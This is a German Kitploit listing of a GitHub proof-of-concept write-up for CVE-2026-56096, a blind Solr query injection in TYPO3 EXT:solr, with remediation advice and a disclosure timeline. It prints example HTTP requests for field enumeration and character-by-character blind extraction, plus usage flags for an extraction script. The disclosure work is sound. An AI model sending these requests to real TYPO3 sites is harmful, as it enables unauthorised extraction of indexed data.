Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-56096 — Proof of Concept und technischer Write-up für CVE-2026-56096, eine blinde Solr-Query-Injection in TYPO3 EXT:solr, die unauthentifizierte Feld-Enumeration und Datenextraktion ermöglicht. | Kitploit
Tools/GitHubGitHub/yairhinkis/cve-2026-56096
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPapers & Forschung
GitHubyairhinkis/cve-2026-56096

CVE-2026-56096

Proof of Concept und technischer Write-up für CVE-2026-56096, eine blinde Solr-Query-Injection in TYPO3 EXT:solr, die unauthentifizierte Feld-Enumeration und Datenextraktion ermöglicht.

Repository anzeigen
345vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-56096: Solr-Query-Injection & blinde Datenextraktion in TYPO3 EXT:solr

Eine architektonische Sicherheitslücke wurde in der offiziellen TYPO3-Apache-Solr-Erweiterung (EXT:solr / apache-solr-for-typo3/solr) entdeckt. Das Problem ermöglicht es nicht authentifizierten Angreifern aus der Ferne, beliebige Solr/Lucene-Abfragesyntax über den Suchparameter tx_solr[q] einzuschleusen, was eine unbefugte blinde Feldaufzählung und vollständige Metadatenextraktion aus dem Suchindex ermöglicht.


Metadaten

  • CVE-ID: CVE-2026-56096
  • Schwachstellentyp: CWE-943: Unsachgemäße Neutralisierung spezieller Elemente in der Datenabfragelogik
  • Zielkomponente: EXT:solr (Suchparameter: tx_solr[q])
  • CVSS v4.0 Score: 6.3 (Mittel) — CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • Forscher: Yair Hinkis

Schwachstellenübersicht

Die Erweiterung EXT:solr akzeptiert benutzerseitig bereitgestellte Suchbegriffe über den Parameter tx_solr[q] und leitet diese an die Apache-Solr-Engine weiter. Konstruktionsbedingt erlaubt die Erweiterung bestimmte Abfrageoperatoren – wie Wildcards (*), Einzelzeichen-Wildcards (?), Feldselektoren (:) und Bereichsabfragen ([a TO z]) –, um legitime Funktionalitäten wie facettierte Filterung zu unterstützen.

Da diese Zeichen ohne eine durchsetzende Whitelist oder Abstraktionsschicht für Abfragen direkt an die Backend-Abfragekonstruktion weitergegeben wurden, kann ein Angreifer feldspezifische Syntax bereitstellen, um die beabsichtigten Suchgrenzen zu umgehen. Dies ermöglicht es nicht authentifizierten Benutzern, interne Solr-Felder direkt abzufragen und Indexdaten mithilfe boolescher blinder Techniken zu extrahieren.


Angriffstechniken

1. Feldaufzählung via field:*

Durch Anhängen einer Wildcard an einen beliebigen oder vermuteten Feldnamen kann ein Angreifer verifizieren, ob das Feld innerhalb des Schemas existiert:

GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com

Falls das Feld existiert, verarbeitet Solr die Abfrage über alle passenden Datensätze (was häufig zu unterschiedlichen Antwortcodes oder volumenbezogenen Verhaltensweisen führt) und ermöglicht so eine automatisierte, auf Wortlisten basierende Felderkundung.


2. Blinde Wertextraktion über Präfix-Wildcards

Angreifer können sensible Feldwerte Zeichen für Zeichen mithilfe boolescher Inferenz extrahieren:

GET /search?tx_solr[q]=siteHash:a* HTTP/1.1  --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1  --> "Nothing found" (Value does not begin with 'b')

3. Längenerkennung über den ?-Operator

Der Einzelzeichen-Wildcard-Operator (?) kann die exakte Länge einer gespeicherten Zeichenkette bestimmen, bevor mit der Zeicheniteration begonnen wird:

GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1   (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1  (Checks for 13+ characters)

4. Beschleunigte Bereichsabfragen ([a TO z])

Bereichsabfragen ermöglichen die Extraktion per Binärsuche auf dem ersten Zeichen und reduzieren so die Anzahl der benötigten Anfragen von 26 auf ~5 pro Zeichenposition:

GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1  --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1  --> Determines if character falls within 'n'-'z'

Die Kombination von Längenerkennung, Bereichsabfragen und Präfix-Wildcards ermöglicht die vollständige Feldextraktion mit minimalem Anfrage-Footprint.


Proof of Concept / Verwendung

Ein automatisiertes Verifikationsskript (poc.py) wird bereitgestellt, um die blinde Extraktion mit den oben beschriebenen Techniken zu demonstrieren.

Verwendungsbeispiel

python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"

Optionen

  • -u, --url: Ziel-URL, die auf den TYPO3-Such-Endpunkt verweist.

  • -f, --field: Name des Schema-Felds, das aufgelistet/extrahiert werden soll (z. B. appKey, siteHash).

  • -c, --cookies: (Optional) Session-Cookies, falls eine Authentifizierung/WAF-Bypass-Verifizierung erforderlich ist.

  • -o, --output: Ausgabedatei zum Speichern der entdeckten Präfixe (Standard: validated_fields.txt).


Auswirkung

  • Verletzung der Vertraulichkeit: Vollständige Extraktion aller in Apache Solr indexierten Felder (z. B. interne System-Hashes, versteckte Seiteninhalte, benutzerbezogene Metadaten und System-Identifikatoren).
  • Umgehung der Zugriffskontrolle: Umgeht Frontend-Suchfilter und TypoScript-Anzeigebeschränkungen.
  • Umfang: Betraf alle Standardinstallationen, die den EXT:solr-Such-Endpunkt verwenden.

Behebung

Eine globale Zeichen-Escaping-Maßnahme ist unzureichend, da Operatoren wie * und : beabsichtigte Suchfunktionen erfüllen. Die Behebung erfordert eine Whitelist und ein Parsing-Modell auf Anwendungsebene:

  1. Benutzerseitig übergebene Query-Strings in einen Abstract Syntax Tree (AST) parsen, bevor sie an die Solr-Engine übergeben werden.
  2. Strikte Allowlists für zulässige Feldziele durchsetzen und direkte Benutzerabfragen gegen interne oder eingeschränkte Felder untersagen.
  3. Missbrauch nicht-whitelisteter Operatoren aus nicht vertrauenswürdigen Eingabekontexten neutralisieren.

Zeitplan der koordinierten Offenlegung

  • 6. März 2026: Schwachstelle während einer autorisierten Prüfung identifiziert; erste Benachrichtigung des Herstellers.
  • 17. April 2026: Hersteller implementierte lokale Edge-Mitigationen; bestätigte die Natur des Upstream-Fehlers.
  • 8. Mai 2026: Formeller Schwachstellenbericht an das TYPO3-Sicherheitsteam ([email protected]) übermittelt.
  • 15. Juni 2026: TYPO3-Sicherheitsteam bestätigte die Reproduktion und begann mit der Entwicklung eines Patches gemeinsam mit den Maintainern der Erweiterung.
  • 25. August 2026: Offizielles Sicherheitsbulletin veröffentlicht, Patch publiziert und CVE-2026-56096 zugewiesen.

Referenzen

  • TYPO3-Sicherheitshinweis: TYPO3-EXT-SA-2026-025
  • CWE-Definition: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Tool herunterladen